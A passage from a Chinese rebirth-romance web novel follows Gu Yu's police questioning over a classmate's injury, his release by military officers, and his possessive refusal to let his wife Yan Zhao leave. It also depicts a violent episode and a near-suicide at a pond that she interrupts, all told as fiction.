“这个……我也不太清楚。我进去的时候，他已经受伤了。我问他怎么回事，他情绪很不稳定，手里还拿着刀。” “真的不知道他为什么要自残。” 这句话落下的瞬间，刘曼青猛地一抖。 她下意识后退了半步，指尖冰凉，眼睛死死盯着顾煜，像是第一次真正认识这个人。 警察微微皱起眉头，重复了一遍：“自残？” 顾煜点了点头：“是的。我当时还想拦他，但已经来不及了。” 他说这话时，神情里没有慌乱，也没有闪躲，甚至带着一点遗憾，像是在为一件无法阻止的意外感到惋惜。 警察开口：“但是，有人说，是你砍的。而且我们了解到，你和王珩的关系并不太好。最近一次冲突，是因为他在学校散布关于你爱人的不实传言。 事情发生的时间点很巧。你们两个人，同时出现在学校废弃仓库里，而王珩就在那里面受了伤。这个情况，很难不让人多想。” 顾煜脸上的笑意彻底收了起来。 不是慌乱，也不是恼怒，而是那种毫无起伏的冷静。 …… 事情最后，顾煜还是被带走了。 不是被当场定罪，也没有被铐着走，只是“配合调查”。 言昭是在家里睡醒，被敲门声惊醒的。 门外站着学校的老师，说话很快，说顾煜被警察带走了。 那一瞬间，她脑子“嗡”地一声，后面的话几乎一句都没听清。 被带走了。 警察。 这几个词连在一起，让她心口骤然发紧，呼吸也乱了节奏。 她连外套都没来得及拿，转身就往外跑。 一路上脚步发虚，脑子里一片空白，只剩下一个念头在反复撞着。 到了警察局门口，老师被她的样子吓了一跳。 脸色发白，眼眶通红，说话都在抖，整个人像是下一秒就要站不住。 老师连忙安抚她，语气放缓了许多：“别急别急，不是什么大事。就是例行问问情况而已。顾煜那孩子你也知道，性子倔，说话又直，有些话不太好听，跟警察顶了几句嘴，这才被带走配合一下。” 言昭紧绷了一路的那根弦终于松动，可眼泪却在这时候不受控制地掉了下来，一颗一颗砸在衣襟上。 她抬手胡乱擦了一下，声音带着明显的哽咽：“……老师，真的不是大事吗？” 老师点了点头，又低声把缘由说了一遍。 言昭这才听明白，竟然是因为自己。 因为有人在学校里散布关于她的坏话，说得很难听。 那些话传到顾煜耳朵里，他去找了人。 只是没想到，那个人伤得不轻，现在怀疑是顾煜动的手。 言昭坐在那里，整个人像是被抽空了力气。 而那几位跟过来的学校老师，视线时不时在她身上停一瞬，又很快移开。 那种目光不算冒犯，只是很普通的打量。 这也是最近学校里的流言，传得实在太多了。 说顾煜在乡下有一门传统包办的亲事，现在这个乡下老婆已经跟着他来了城里。 所以顾煜在学校里对女生一概拒绝，并不是性子冷淡，而是早就被这段关系拴住了。 这些话，学生在传，老师也听见了。 现在真看见人，几位老师心里还是微微惊讶。 这女孩身形偏瘦，肩背很单薄，安安静静地垂着眼，手放在膝上，指尖微微蜷着。 气质并不张扬，却很干净。 眉眼柔和，五官清秀，皮肤有点粗糙，但是也很白，看起来甚至有点弱不禁风。 不管怎么看，都和他们想象里的“乡下人”完全对不上。 这时门又被推开，几个警察走过来。 还没等大家开口问，又有一群人急匆匆走过来。 言昭看到了刘曼青。 刘父走在最前面，神色严肃，一进门就直接开口：“警察同志，我女儿最近情绪不太稳定，是因为顾煜拒绝了她的追求。她因此产生了一些偏激的想法，她的话，不能作为证据。” 跟在旁边的刘曼青猛地抬起头。 她不敢置信地看向自己的父亲。 “爸……” 她声音发哑，几乎听不见。 刘父没有看她，只是继续对警察说道：“她最近精神状态很差，说话反复，情绪化严重。今天这件事，很可能是她的主观臆测，甚至是迁怒。我也可以给顾煜作证，他不可能会做出这种事情来。” 警察皱了下眉，他说：“王珩已经醒过来了，我们正要去医院。” 警察这句话一落下，跟在后面的几位老师明显松了一口气。 只要人醒了，事情就还有转圜的余地。 至少不是最坏的结果。 言昭听到这里，她立马反应过来，污蔑顾煜被抓是因为刘曼青。 她几乎没有思考。 转身，走过去。 下一秒—— “啪”的一声脆响。 言昭抬手就是一巴掌，力道用得很实。 刘曼青本就还沉浸在父亲当众否认、撇清责任的寒心里，整个人都没回过神来，脸被打得偏到一边。 她刚抬头，言昭已经伸手抓住了她的头发，语气是彻底压不住的怒意。 “你胡说什么？你凭什么胡说？” 言昭又是几记耳光甩过去。 周围瞬间乱了。 有人惊呼，有人冲上来拉人。 几位老师连忙上前，把两个人硬生生分开。 刘曼青被拉到一旁，整个人还在发懵，脸色全是红印。 言昭被拽住手臂的时候，眼睛红得厉害，胸口剧烈起伏，死死盯着对方。 警察直接呵斥，就要把言昭关了进去。 还要老师们劝：“人家男人被污蔑，是关心则乱，而且人家家里人也不介意，是不是？” 刘父连忙点头，说：“都是我女儿活该。” 刘曼青直接就哭了起来，嚎嚎大哭，“为什么要这样对我！” 警察蹙眉，不想管这些事情就要走。 言昭几乎是下意识地往前一步，挡在了他们面前。 “警察同志……”她声音发紧，还是努力稳住，“能不能先把我男人放出来？他肯定没有伤害人，他不是那样的人。” 警察目光落在她脸上，没有半点缓和：“有没有伤人，我们去问过伤者就知道了。请你不要妨碍我们工作，不然我真的把你一起关进去了！” 言昭嘴唇动了动，还想再说什么，已经被身旁一位女老师及时拉住了手臂。 她被拽回来的瞬间，眼眶一下子就红了。 声音彻底压不住，带着明显的哭腔：“那……那我能不能见他一面？就一面也好。” 没有回应。 警察已经转身离开。 言昭忽然就安静了下来，背脊慢慢塌下去，像是被什么一下子抽走了支撑。 一个念头毫无征兆地钻进她的脑子里。 灾星的，好像从来都不是顾煜。 是她。 她前一世过得太糟了。 被拖累，被消耗，被踩在泥里，带着一身怨气死掉。 老天爷偏偏让她再活一回。 她换了活法。 不再逆来顺受，不再低头忍耐，想抓住一点点属于自己的东西。 可她抓住的，是顾煜。 从她跟着他来到京市开始，流言、指指点点、恶意的目光，一样样全落在他身上。 如果她不来京市，如果她留在乡下，如果她没有站在他身边。 顾煜可能会跟上辈子那样，成为一个很厉害的人。 这个念头一成形，言昭胸口像是被什么重重压住。 不是疼，是空。 她的双眼一点点失去焦距。 视线落在地面某个角落，却什么也没看见。 旁边的老师还在说话。 安慰也好，分析也好，她一个字都没听进去。 声音像是隔着一层水传过来，模糊又遥远。 她只是慢慢蹲下身子，用力抱住自己的脑袋。 …… 一整夜过去，天色从黑到灰，再亮起来。 言昭几乎没有合过眼。 她坐在警察局外的长椅上，手指冰凉，脑子里乱成一团，翻来覆去只剩下一个念头—— 她不知道该怎么办。 言昭想给这些老师跪下去，她站起来，膝盖刚弯下去，就被人一把拉住。 “别这样，别这样。”老师的声音压得很低，也很急，“事情还没定，你别先把自己压垮了。” 有人把她扶回椅子上，不让她再动。 他们只反复说一句话——再等等。 言昭不知道他们要等什么。 她只觉得时间被一点点拉长，拉到她快要撑不住。 眼泪一滴一滴往下掉，她也没去擦，整个人像是被抽空了力气，只剩下一个壳子坐在那里。 就在这个时候，外头忽然传来一阵脚步声。 不是警察那种杂乱的声响，而是很整齐、很有分量的步伐。 言昭下意识抬起头。 几名身穿军装的男人走了进来，气场与周围完全不同。 有人径直去和警察交涉，有人扫了一眼现场，很快就注意到了坐在一旁哭得发抖的言昭。 这几个人在知道言昭是顾煜的爱人后，有个人走过来安抚：“家属别担心，我们就是来带顾煜离开的。” 第22章 顾煜失控发疯 言昭几乎是瞬间站起身的。 可一夜没合眼，情绪又绷得太紧，腿一软，身体明显晃了一下。 她下意识伸手扶住椅背，指节用力到发白，这才勉强站稳。 “真的吗？我男人……他真的没事吗？” 那名军装男人看了她一眼，目光在她苍白的脸色和泛红的眼眶上停了一瞬，神情明显缓和下来。 他点了点头，甚至对她露出一个算得上温和的笑。 “顾煜作为国家重点培养的人才，我们不会让他出事的，而且说到底顾煜只是维护自家爱人。” 男人到底还是没把顾煜精神疾病这件事说出来。 那几个人走进去。 言昭被安排在外头等。 走廊的灯一盏一盏亮着，冷白的光把时间拉得很长。 她站也不是，坐也不是，手指反复攥紧又松开，心口一阵一阵地发空。 她一直盯着那扇门。 每一次脚步声响起，她都会下意识抬头，又在看清不是他时慢慢低下去。 直到那扇门终于被推开。 顾煜走了出来。 他身上还是那件衣服，神情很稳，看不出被关了一夜的痕迹。 只是脸色比平时更冷白，眼神落在她身上时，明显顿了一下。 那一刻，言昭胸口猛地一松，绷了一整夜的弦，终于断了。 她甚至来不及说话，只是看着他，眼睛一点点亮起来，唇角刚想动，整个人忽然一轻。 世界猛地晃了一下。 顾煜只来得及看到她身形一歪。 下一秒，她整个人就软软地往前倒去。 “昭昭——” …… - 医院病房里消毒水味刺鼻。 王珩坐在床上，低着头，看着自己被厚厚纱布包住的右手。 那里少了一截，轮廓突兀得刺眼。 他的呼吸越来越重，眼睛一点点泛红，里面翻涌着毫不掩饰的狠厉。 “就是顾煜切的！”他猛地抬头，声音嘶哑又尖厉，“他拿刀砍我！还揍我！我差点死在那儿！你们快把他给我抓进去！关进牢房！” 警察对视了一眼，点了点头，正要开口记录。 就在这时—— 病房门被人从外面推开。 脚步声很稳，带着明显不同于医院的节奏。 几名身穿军装的男人走了进来。 警察皱眉，刚要询问，为首那人已经取出证件，递了过去。 证件展开的一瞬间，几名警察的神色明显一变，立刻站直了身体，表情变得严肃起来。 那名军装男人没有寒暄，直接从随身的文件夹里抽出一份资料。 “姓名，王珩。”他语气平直，没有任何情绪，“代号——银雀。” 这两个字落下，王珩瞳孔骤然收缩，脸色变得难看。 …… 医院单间的门虚掩着。 顾煜站在门外，没有进去。 隔着那道门，他能清楚看见病床上的人。 言昭就躺在那，脸色仍旧很白，眉心微微蹙着，像是就算睡着了，也没能真正放松下来。 顾煜的目光在她脸上停了很久。 这件事，从头到尾，都在他的预判之内。 王珩会怎么跳，刘曼青会怎么说，警察会怎么介入，甚至那些人什么时候出面—— 他心里都有数。 那把刀落下去之前，他就已经知道，最后会以什么方式收场。 唯一不在他计算里的，是她。 他没想到，她会被吓成这样。 明明是个胆子很小的人。 按理说，这种时候，她就该乖乖待在家里，关好门，等他处理完一切，再回去找她。 可她没有。 在警察局撑了一整夜。 最后，在看到他出来的那一刻，还倒在他怀里。 顾煜的指节慢慢收紧，又很快松开。 胸腔里那点冷静、算计好的秩序，像是被什么撬开了一角，露出底下并不受控的东西。 …… 言昭这一觉，睡得很沉。 等她再睁开眼的时候，看见是一个吊瓶。 她愣了两秒，视线慢慢聚焦。 下一刻，就看见顾煜坐在床边。 他靠得很近，像是一直没离开过，衣角都还垂在床沿。 察觉到她的动静，他几乎是立刻抬头，眼神一下子亮起来。 “昭昭。” 话音刚落，他已经俯身过来，把她整个人抱进怀里。 言昭看见他急得不行：“你……你没事吧？警察不会……不会还要把你抓走吧？” 顾煜低头看着她。 她的眼睛还有点红，显然是刚醒，情绪却全写在脸上。 他抬手在她背上轻轻拍了两下，语气很稳：“不会了。” 言昭这才慢慢松了口气，整个人软下来，额头抵在他肩上，小声吸了口气。 …… 言昭从医院回来后，就已经在心里做了决定。 她要离开这里。 不是一时冲动，也不是赌气。 她只是很清楚地意识到，继续待下去，只会一遍遍把顾煜拖进麻烦里。 至于去哪，她还没想好，但她并不觉得这是个问题。 她有手有脚，也有脑子，出去总能养活自己。 这个念头刚落下没多久，顾煜就把钱递给了她。 整整一千块。 顾煜说：“我给国家做了个东西，这是赚来的。” 言昭接过那叠钱，指尖微微一顿。 她是真的觉得顾煜厉害。 厉害到这种程度，反而让她更清楚地看见两人之间的落差。 这让她想要离开的决心变得越来越坚定。 她低头把钱收好，没有说拒绝的话，也没有多问一句，只是安静得有些过分。 顾煜微微蹙眉，总觉得言昭有点太安静了。 他原本以为，是这几天的事把她吓坏了。 以为再过几天就会好。 直到言昭忽然开口，说：“我想离开了。” 那时候他正坐在桌前看书，书页停在同一行很久了。 他其实正在想，要怎么哄她，她心情才能好一点。 可在这句话落进耳朵里的瞬间，顾煜手指捏在书脊上，力道一点点收紧，骨节泛白。 但他的神色没有任何变化。 他甚至歪了一下脑袋，抬眼看向她。 那双眼睛看起来很平静，瞳色沉得过分，像是湿冷的水面，没有一丝波澜。 “什么？” 语气很轻。 言昭原本是提着一口气的。 她以为自己说出离开，他会生气，会不高兴，甚至会直接拒绝。 可他这么平静，反倒让她心里松了一下，又隐隐生出一点说不清的失落。 她又重复了一遍，声音放得很轻：“我想离开这里。” 顾煜点了点头，像是在认真思考。 “也行。”他的目光在她脸上停了一瞬，又慢慢移开，“你想住哪？我们可以搬家。” 言昭一愣。 她这才意识到，他理解错了。 “不是这个意思。”她抬头看着他，语气慢慢变得清晰，“是你住在这儿，我离开。我想……离开你身边。” 屋子里忽然安静下来。 顾煜没有立刻说话。 他把书合上，放在桌上，动作很慢，甚至显得有些机械。 再抬眼时，他唇角弯起一个极浅的弧度。 那笑意温和，却没到眼底。 他的目光落在她身上，像是在一点点丈量，又像是在确认什么东西是否还在原位。 “为什么？” 声音低而稳。 言昭微微侧过头，没有看他：“没有为什么。当时过来也是我自己要来的，现在我想走了。” 顾煜听完，没有立刻回应。 他重新靠回椅背，把书再次打开。 目光落回书页，语气平静得近乎冷淡：“不行。” 言昭转头看他：“为什么？” 顾煜翻了一页书，依旧没有抬眼。 他的睫毛在灯下投下一小片阴影，让那双眼显得更深、更暗。 也跟着把她方才的话原封不动地还了回来：“没有为什么。你想来就来，我没拦过。但是你想走？”他指腹压住书页边缘，慢慢抬眼看她。 那一瞬间，眼神像是从水底浮出来，湿冷又黏着人。 “我不答应。” 言昭抿着唇，过了很久才开口：“我留在你身边，对你又没有好处。” 屋子里静了一瞬。 顾煜这一次没有继续看书。 他合上书本，指腹在封面上停了停，才抬眼。 那双眼睛落在她脸上，专注得近乎病态，没有闪躲，也没有情绪波动。 “你现在，还在喜欢顾城吗？” 言昭没想到话题会突然转到这里，只是下意识地看着他。 “……什么。” 顾煜继续问，语气依旧平直，只不过现在带着一种冷而黏的压迫感：“你会因为自己对顾城没作用，就离开他吗？” 言昭怔了一下。 心里几乎是立刻否认。 当然不会。 要是会，她上辈子就不会为了顾城拼命往前爬，不会一遍遍逼自己学、去争、去忍，把所有能证明自己“有用”的东西学好。 顾煜看着她沉默的样子，就知道了答案。 他起身，走到床边，在她身侧俯下身来。 距离骤然拉近，影子彻底压下来。 他的眼神在这一刻变得极深，像是湿冷的夜色，牢牢罩住她，“所以，你离开顾城，来到我这里—— 是因为你觉得自己对顾城没作用了，才来的吗？” “当然不是！” 言昭几乎是立刻反驳出声，声音比她自己预想得要急。 “顾城跟我没关系，我来找你是因为……” 话说到一半，她忽然停住了。 后面的话，她说不出来。 她不能提上辈子的事，不能说自己重活了一次，更不能把那些早就烂在心里的因果摊开给任何人看。 不然自己肯定会被当成胡扯的借口，还可能会被人怀疑是鬼上身，或者脑子出现了问题。 言昭干脆转过身，背对着他躺下，把脸埋进枕头里，直接拒绝继续这个话题。 屋子里静了下来。 顾煜重新站在床边，没有再靠近。 他看着她单薄的后背，肩线绷得很直。 唇瓣微微抿着，那点一贯挂在脸上的温和彻底消失了，连伪装都懒得再维持。 他的表情空了下来。 不是愤怒，也不是失控。 是一种极端冷静下翻涌的疯狂。 那双眼睛沉得发黑，像是盯着某个唯一的出口，所有情绪都被死死压在最底下。 他语气平稳，可又冷得让人背脊发紧：“想要离开的话，我不希望听见第二次。” …… 言昭不知道自己是什么时候睡着的。 等再醒过来，是被一声炸雷生生惊醒的。 她迷迷糊糊地坐起身，脑子还有点发懵。 屋里亮着一盏很暗的灯。 言昭看见顾煜站在门口。 他背对着她，身影被灯光拉得很长，几乎贴在地面上。 他没有进来，也没有靠着门框，只是站得笔直，微微仰着头，看向外面漆黑的天空。 雷光一闪，映亮了他的侧脸。 “顾煜，你怎么不叫醒我？你吃……” 言昭话还没说完，她手腕被人猛地攥住，整个人被拽得失去重心。 伴随着一声闷响，她就被狠狠压在了床上。 床板跟着震了一下。 言昭呼吸骤然一滞，本能地想要挣扎，但是压着她的人力道大得可怕，几乎不给她任何喘息的空间。 她看着压在自己身上的顾煜。 这张近在咫尺的脸没有任何情绪，神情是空的，目光失焦，像是完全没在看她这个人，只是盯着某个不存在的点。 下一瞬，剧痛猛地从唇上传来。 顾煜低下头，用力撕咬住了她的嘴唇。 不是亲吻。 是失控的、毫无温度的咬合。 疼痛几乎是瞬间炸开的，言昭闷哼了一声，眼眶一下子泛红。 她伸手去推他，指尖抵在他肩上，可像是推在一堵墙上，根本撼不动。 言昭看着眼前的人，只觉得发寒。 那双眼睛空洞得可怕，没有欲望，没有情绪…… 顾煜忽然松开了她的唇。 下一秒，他低下头，转而在她颈侧用力啃咬。 牙齿压下来的瞬间，剧烈的疼痛让言昭浑身一颤，喉咙里溢出一声压抑不住的声响。 “顾煜——！” 她几乎是尖声喊出来的。 这一声像是猛地砸进了他的意识里。 顾煜浑身一震，眼神骤然收紧，视线终于聚焦在她脸上。 他低头看见自己压着她的姿态，又看见言昭唇瓣上的血渍，瞳孔猛地一缩。 下一瞬，他像是被烫到一样猛地退开。 动作太快，连床沿都被他撞得轻响了一声。 顾煜站在床边，呼吸乱得厉害，喉结剧烈起伏。 “我……” 此刻他的声音低得发紧，沙哑的很。 言昭还躺在床上，背脊贴着床单，胸口起伏得厉害。 她抬手按住自己的嘴唇，指尖触到那点湿热，手不受控制地抖了一下。 言昭的脑袋像是有什么被压在深处的东西，被刚才那一幕猛地撬开了。 一些她以为早就忘掉的记忆，毫无预兆地翻涌上来。 这样的顾煜，她很小的时候见过一次。 那年，顾城把他丢进了山里。 不是吓唬，是实实在在地扔下去。 那时天色将暗，山风刮得狠，林子里全是乱影。 换成别的孩子，早就没了。 可顾煜走回来了。 是他一步一步走回来的。 回来时整个人像是从泥水里捞出来，衣服被划得乱七八糟，身上带着血，不知道是摔的，还是被什么割的。 他一句话没说，只站在那里，眼神沉得发冷。 那天夜里，他发疯了。 顾城被揍得满身是血，踉跄着想往外冲，却被拽住了脚踝，整个人被拖回去，指甲在地上抓出刺耳的声响。 言昭当时躲在门口。 她看见顾煜从阴影里走出来，手里握着东西，血顺着往下滴。 顾城挣扎得厉害，屋里一片混乱，声音、血迹，全都纠缠在一起。 就在那时，顾煜忽然停住了。 他抬起头，看见了她。 那一瞬间，他没有松手，也没有继续。 只是盯着她看。 眼神冷得让人发抖，像是在确认她有没有看清。 随后，大人们冲了进来。 这些画面一帧一帧在言昭脑海里重叠起来，压得她呼吸发紧。 而这边顾煜指尖慢慢收紧。 他自己也没想到，这个“病”会在这个时候出现。 很久以前，老师就跟他提过，说他有很严重的精神问题。 具体是什么，老师也说不清，只知道他对血、死亡和痛觉的反应，与常人不同。 可他能控制情绪，能思考，能学习，能像一个再正常不过的人一样生活。 甚至，比很多人更冷静、更理智。 也正因为这样，再加上那时候国内对精神疾病几乎一片空白，老师最终没有让他吃药，只是反复叮嘱，一旦察觉异常，就必须远离刺激源，远离人。 他也确实做到了。 这些年，他一直都很稳。 来到京市之后，更是没有任何情绪波动。学习、实验、生活，一切都按部就班，干净、清晰，没有偏差。 他甚至一度以为，那些东西已经彻底消失了。 顾煜低下头，看着还躺在床上的人。 她明显被吓到了。 不是尖叫，也不是后退，而是僵硬到极点，眼睛发红，还一声不吭。 这一幕，让他忽然想起很久以前。 她躲在角落里看着他，既害怕，又不敢跑。 那是他第一次意识到，自己会吓到她。 而现在，是第二次。 顾煜的喉结轻轻动了一下，胸腔里那股冷而空的感觉慢慢扩散开来。 他很清楚，如果再继续留在这里，只会让情况变得更糟。 顾煜几乎是转身就跑的。 只听见“嘭”的一声，门被重重关上，震得门框都跟着轻响了一下。 屋子里重新安静下来。 言昭还坐在床上，背脊僵着，双手无意识地攥紧被角。 她怔怔地看着那扇紧闭的门，脑子里一片空白，像是还没从刚才那一幕里回过神来。 过了很久，她才慢慢眨了下眼。 心口发空。 她不知道顾煜这是怎么了。 有一些零碎又荒唐的念头，不受控制地冒了出来。 难道…… 真的是被什么缠上了？ 她想起队里那些人私底下的议论，说顾煜命硬，说他不干净，说他身边总有不好的东西跟着。 以前她从来不信，只当是大人们吓唬人的说法。 可刚才那一瞬间，他的眼神太空了。 不像是他自己。 言昭脑袋埋进被子里面，想把这些乱七八糟的念头压下去，但是怎么都压不住。 雨声从窗外渗进来，一下下敲着她的神经。 言昭脑子里又跟着想起一件事。 顾煜好像不喜欢下雨，也不喜欢打雷。 很小的时候，每次一到雷雨天，他都会变得异常安静。 那时候她还不懂，只记得有一次雷声太响，他要跟自己睡，她当时哄了一晚上。 她几乎都忘了这件事。 可现在，外面正在下雨。 雷声一声比一声近。 而他刚刚，是跑出去的。 这个念头一冒出来，言昭心口猛地一紧，几乎没再多想。 她掀开被子，从床上跳下来，连鞋都没顾得上系好，就冲到门口。 门一拉开，冷湿的空气裹着雨味迎面扑来。 院子里一片昏暗，雨水已经把地面打湿，屋檐下不断往下滴水。 远处又是一声闷雷滚过，震得她耳膜发麻。 “顾煜——” 她喊了一声，声音被雨声吞掉大半。 …… 顾煜从家里跑了出去。 他没去任何地方，只是顺着路往前走。 雨水很快就把他浑身打湿，衣服贴在身上，凉意一点点往骨头里钻。 雷声在头顶炸开。 一声接一声，近得像是劈在耳边。 顾煜只觉得头皮一阵阵发麻，太阳穴猛地跳动起来，脑袋里像是有什么东西在拼命往外顶，压都压不住。 那种感觉太熟悉了，熟悉到让他本能地开始发抖。 痛。 不是哪一处明确的疼，而是整个脑子都在抽紧，思绪被撕扯得支离破碎。 顾煜踉跄了一下，伸手撑在路边的墙上，指节因为用力而泛白。 在雨越下越大。 顾煜不知道自己走了多久，等回过神来时，人已经站在一处池子边。 水面被雨点砸得翻起细碎的涟漪，黑沉沉的，看不见底。 一个念头在顾煜脑海中冒出来。 他留在这个世上，本来就是个祸害。 总是会伤到昭昭。 但是他又舍不得让她离开自己。 那只有自己死了，才能彻底放过她。 这个想法刚一成形，顾煜就要往水里走去。 腰上猛地一紧。 一双手从身后死死抱住了他，力道很小，却拼了命。 湿透的衣料贴上来，带着颤抖的温度。 “顾煜，你这是干嘛——！” 带着哭腔的声音在他身后响起，被雨声和雷声撕得断断续续，但是清楚得要命。 第23章 顾煜安静中的疯批 顾煜整个人僵住了。 那一瞬间，世界像是被按下了暂停键。 池水、雷声、疼痛，全都被那一声哭喊挡在了外面。 “你疯了吗……” 言昭的声音发抖，额头抵在他背上，抱着他的手收得更紧，“你跑出来不说一声，下这么大的雨，你站在这儿干什么？” 她的呼吸很乱，像是一路跑过来的。 顾煜低下头，看着水面被雨点砸开的纹路，喉咙像是被什么堵住了。 他想把她的手掰开，想让她离远一点，可手指动了动，发现自己一点力气都没有。 “放开……” 他说得很轻，不像命令，更像是在请求。 “不放。” 言昭几乎是立刻打断了他，声音里带着哭出来的鼻音，“你死了，我怎么办？我也没地方去了，我只有你了啊！” 这句话像是狠狠撞进了顾煜的心脏。 他整个人僵在原地，呼吸猛地一滞。 雨水顺着他的发梢往下淌，落进衣领里，冰得刺骨，可那一瞬间，他却像是什么都感觉不到了。 脑子里翻涌的疼痛忽然断了一拍，那些拉扯他的念头，被这句话硬生生按住。 言昭还抱着他。 能感觉到她的手在发抖，声音也在抖，贴着他后背的位置，能清楚地感觉到她的心跳，又快又乱。 她的额头抵在他背上，哭得喘不上气，“你刚才那样，我害怕，我真的害怕，可你跑出来我更怕……顾煜，你别丢下我。” 顾煜的喉结狠狠滚动了一下。 最后他就晕倒了。 …… 医院里很安静。 言昭坐在病床旁，看着床上的人，一夜没合眼。 顾煜闭着眼，呼吸很轻，胸口起伏缓慢。 言昭的脑子一直停不下来。 一遍一遍地回想昨晚的事，又一遍一遍地庆幸—— 幸好她追出来了。 只要稍微晚一点，只要犹豫那一下，现在躺在这里的，可能就不是睡着的样子。 现在言昭想着，就算顾煜是真的有问题，被鬼上身也好，被什么东西缠着也好。 言昭低下头，指尖微微发抖，轻轻贴在床沿。 她这一夜几乎没怎么睡。 窗外的雨停了又下，雷声断断续续，她却一直睁着眼睛，看着天色一点点亮起来。 很多念头像是被反复翻出来，又被她自己按回去。 到天亮的时候，她心里已经有了答案。 她不走了。 这是她想了一整晚的结果。 她确实总是在给顾煜带来麻烦，这一点她无法否认。 可她也很清楚，自己是重活了一辈子的人，这一世已经不可能再像从前那样糊里糊涂，把所有选择都做错。 更何况，她认真回想了一遍—— 顾煜从头到尾，对她都很好。 没来京市之前，钱是给她的。 来了京市之后，钱依旧花在她身上，也交到她手里。 他从来没在这些事情上犹豫过。 而且…… 她忘不了他站在雨里的样子，也忘不了他在雷声里失控的那一瞬。 顾煜那个状态，她是真的担心。 如果她不在他身边，他要是再出什么事怎么办？ 这个念头一旦冒出来，就再也压不下去。 …… 学校这边是真的没想到，顾煜竟然也晕倒进医院。 要是换成别的学生，顶多也就是助教过去看看，老师慰问几句就算了。 可偏偏是顾煜。 最近顾煜手里那个研究项目，已经被国家层面盯上了。 不是“有潜力”，也不是“值得关注”，而是已经递了正式评估流程。 学校这边原本还在等后续通知，结果人先倒下了。 这下老师们着急难受了。 其实最难受的，还是那位王老师。 他是真的吐血。 顾煜从进学校开始，就几乎一直在他身边做事。 他太清楚这个学生的分量，也太清楚这份成果意味着什么。 偏偏因为女儿人家转系走了。 现在转去物理系，成了徐教授的门徒。 王老师一想到这里，心口就堵得慌。 更让他没想到的是—— 顾煜那份当初还停留在理论阶段的论文，竟然真的被顾煜给研发出来了。 不是模型，不是推演，是实实在在跑通了的成果。 而且，已经被验证过，国家都看上了。 现在人躺在医院…… 那也是个打好关系的好机会！ …… 一直到下午，病房里才终于有了动静。 顾煜睫毛轻轻颤了一下，缓慢地睁开眼。 言昭几乎是第一时间察觉到的。 她愣了一瞬，随即猛地凑近，眼睛一下子红了，眼泪几乎不受控制地往下掉。 顾煜显然没料到会在睁眼时看到她。 他怔了怔，视线在她脸上停了好几秒，像是在确认是不是自己还没清醒。 顾煜还以为她已经走了，以为自己把人吓跑了。 言昭正要转身去叫医生，手腕就被顾煜抓住。 “你别走。” 顾煜的声音有些低哑，带着明显的虚弱，可还是死死扣着她。 言昭立刻摇头，声音发紧：“不走，我不走，我去喊医生。” 里面的动静也让外面的人听见了。 学校那边一直守着的人听见声响，探头一看，发现顾煜醒了，立刻转身去喊医生。 没一会儿，医生快步进来。 手电筒在顾煜眼前照了照，又听了心跳，简单做了几项检查，边记录边问：“现在有没有哪里不舒服？头还疼不疼？” 顾煜轻轻摇头。 医生又确认了几句，点点头：“没什么大问题了，刚才主要是情绪和神经刺激过度，好好休息就行。” 这句话一落下，言昭整个人顿时松了一口气。 她站在床边，腿都有点发软，还是硬撑着没动，只是低头看着他，眼睛湿得厉害。 顾煜还握着她的手腕，没有松。 生怕他松开，她就真的会不见。 后面顾煜简单应付了几句学校那边的人。 言昭站在一旁，也看见了王老师。 对方把一篮子水果放在床边，叮嘱了几句好好休息，一副很热情的样子，还让顾煜再去他家吃饭。 之后大概是看到两人一直牵着的手，又见顾煜脸色确实不太好，众人也不好久留，很快就陆续准备离开。 就在这时，病房门再次被推开。 那几个穿着军装的男人走了进来，手里同样提着一篮水果。 脚步声一落，病房里的气氛几乎是瞬间安静下来。 没人再说话。 那种无形的压迫感，让人下意识放轻了呼吸。 顾煜抬眼看了一下，勉强应付了几句，语气克简短。 对方点头，没有多停留，很快也离开了。 等病房重新安静下来，只剩下他们两个人。 言昭这才低头，看见自己的手还被他牵着。 他的手指扣得很紧，掌心温度偏高。 她忍不住轻轻抽了一下。 没抽出来。 顾煜没有松手，只是低声开口，语气平静得过分：“我给过你机会了。” 言昭一愣，下意识抬头看他，没太听懂这句话的意思。 “什么机会？” 顾煜没有再继续解释，他说：“这段时间我不用去学校，我们提前回老家，把户口转了。” 言昭一愣，几乎是下意识地反对：“这么快？不多休息几天吗？” 她是真的着急。 顾煜现在的脸色实在太差了。 他本来就偏白，可现在那种白已经没有血色，像是被什么一点点抽干了，连唇色都淡得过分。 顾煜看着她，忽然笑了一下。 那个笑，没有一点温度。 他的眼神落在她脸上，却没有任何波动，静得让人心里发凉。 “你不是已经知道了吗？”他说，“我身体没事，只是脑子有问题。” 言昭的脸颊微微僵住。 她当然知道。 医生跟她说过，只是说得很委婉，很多专业名词她听不懂。 可她听明白了一件事，那就是顾煜不能受刺激，不然很容易做一些偏激的事情。 言昭想到这里，她主动往前凑了一点，另一只手也伸过去，轻轻握住他的手。 “我不觉得你脑子有问题。”她说得很认真，“你是村里最聪明的。那些知青都没考上大学，就你考上了，而且还是京市的大学。而且你生病了都有这么多人找你，你……” 话还没说完，她忽然吸了一口气。 唇瓣上骤然传来一阵轻微清晰的疼。 顾煜的指腹按了上来，触到她结了痂的唇角。 那点疼并不重，却让她一下子停住了话。 随后，顾煜收回了手，没有再继续，然后他转过身去，背对着她躺下。 被子随着他的动作轻轻起伏了一下，很快又归于平静。 言昭坐在原地，看着他的背影，唇角那点残余的疼慢慢散开。 她张了张嘴，像是想再说点什么，最终却还是把话咽了回去。 屋子里只剩下两个人的呼吸声。 她没看到的是—— 背对着她的顾煜，睫毛轻轻颤了一下。 他的眼眶不知什么时候泛起了一层红，像是被什么无形的东西逼出来的。 那点湿意停在眼底，没有落下来，只是死死压着。 此刻顾煜的下颌线绷得很紧，喉结滚了一下，又生生压住。 在这一瞬间，他脸上的所有温和都退得干干净净，只剩下一种冷静到近乎偏执的沉默。 仿佛只要一动，情绪就会彻底失控。 …… 顾煜没在医院待太久，晚上就出院了。 手续一办完，两人就回了家。 刚走进院子，言昭就明显感觉到了不对劲。 原本各自忙活的人，视线不约而同地往这边飘。 有人假装路过，有人站在窗口后面不动声色地看，还有人低声说着什么，又很快停下。 那些目光黏在身上，说不上恶意，都带着明显的探究和揣测。 顾煜脸色憔悴得很，唇色淡，眉眼压着，怎么看都不像是“没事”的样子。 再加上前几天闹出的动静，这一回来，几乎等同于给所有人递了话题。 言昭在心里叹了口气。 城里人有时候比乡下人还爱嚼舌根，越是沾点“稀罕事”，传得越快。 现在顾煜这副样子回来，在他们眼里，怕是早就脑补出了一整套故事。 算了，言昭也不管他们。 言昭第二天一早就起了。 